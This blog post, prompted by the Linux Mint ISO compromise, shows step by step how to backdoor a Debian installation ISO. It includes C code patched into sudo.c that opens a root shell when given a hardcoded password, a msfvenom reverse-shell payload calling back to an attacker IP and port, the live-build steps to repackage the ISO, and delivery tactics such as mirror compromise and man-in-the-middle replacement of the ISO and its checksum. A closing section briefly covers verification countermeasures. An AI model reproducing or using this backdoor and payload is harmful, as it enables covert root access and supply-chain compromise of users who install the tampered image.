Recap

On February 21 Linux Mint was attacked and, as a result of the intrusion, the attacker was able to backdoor the ISO (Cinnamon Edition v17.3).

“Hackers made a modified Linux Mint ISO, with a backdoor in it, and managed to hack our website to point to it,”
Clement Lefebvre – head of Linux Mint project

Aside from the WordPress attack, the subsequent forum dump (database password: “upMint.”, seriously?) and the analysis of the malware (Tsunami/Kaiten), this incident made me think about a long-term attack scenario.

We will re-create an ISO (in this case “debian-8.3.0-amd64-netinst.iso“) with the addition of a backdoor, we will analyze the methods used for the delivery and the possible countermeasures.

ISO Replacement

Editing an ISO is not a trivial task: we need tons of tools, requirements and get our hands dirty diving into sources etc.

Hat tip to Lorenzo Faletra, team leader of Parrot Security OS, who had the patience to test my code and that provided me with the necessary information about ISO recompilation and packaging.

SUDO backdoor

To gain the physical access to the target machine and allow a privilege escalation for the reverse shell, we will insert that later, I thought to insert a backdoor in “sudo” (which has owners and flag already settled for the call to ‘setuid’ as by default, sudo is belonging to root: root).

The call to ‘setuid’ function is only allowed when the ‘setuid’ flag is set, which allows the software to run with the owner permission.

Before you can edit and recompile “sudo” we need to install all the necessary requirements:

sudo apt-get build-dep sudo

Download the sources and include our backdoor inside the ‘sudo.c’:

if (argc == 2) {

char *pswdd = "backdoor";

if(strcmp(argv[1], pswdd) == 0) {

setuid(0); //Elevate to (root) uid 0

system("/bin/bash"); //Launch a bash shell

return 0; //End gracefully

}

}

We can recompile the code by running the following command from the root directory of ‘sudo’: ./mkpkg

Reverse Shell

In this case we will use a Metasploit payload:

msfvenom -p linux/x86/shell_reverse_tcp2 LHOST=192.168.1.1 LPORT=6520 –-smallest -o backdoor -f elf

Use ports over 1024, as the shell will run with the privilege of ISO’s user.

Shell_reverse_tcp2 generate a very small payload (about 70 Kb) that even without encoding is ignored by the antivirus:

Building the ISO

For this step we will need live-build and cdebootstrap , once installed create a folder for the ISO output.

We just need to include our ” sudo ” in the config/packages/ and our payload into a directory of your choice user/bin.

Now that all the files are in “position” we just have to launch the build command lb build, it takes a while and if completed successfully it will give us back the ISO.

Lastly, start a listener in metasploit.

Delivering the ISO

It’s better to do not forget simpler things:

• Compromising the website/mirror and replacing the ISO.
• Replacing DVDs on the desk of an IT System Administrator.
• The same goes for spreading the backdoored distro through netshare, many companies have internal repositories for packages and for ISO and very often these are accessible without any authentication.

And a more elaborate delivery method:

• With a MiTM attack we can override the ISO and its checksum on the fly, before its download.
  When the ISO is a resource on LAN, the download speed would be significantly higher than the normal speed; In this case we may want to throttling the download.

Countermeasures & Conclusion

What can we learn from the Mint incident?

Since the download through plain HTTP may be easily modified (Linux Mint before the attack had no SSL certificate and it still continues to support only the MD5 checksum, lol), given that not every mirrors support the download over HTTPS and overall since you can work around the HTTPS, the only likely solution is to check the ISO with PGP, a solution that does not seem to have been adopted among the maintainers of the most popular distributions.

In any case we have not stemmed the problem…

The vast majority of users does not verify the checksum and definitely they will not verify the ISO with PGP, a more complicated method that they may do not know.

The underlying problem is that the ISO verification is a complex process, the checksum when provided over HTTP leads to a false sense of security and above all: manteiners assume that the end users are going to verify the ISO file.

In this case it would make sense to rethink the entire process in a manner that is automatic and “invisible” for the user, and that, if an user interaction is required, the information need to be accessible to all levels of technical expertise.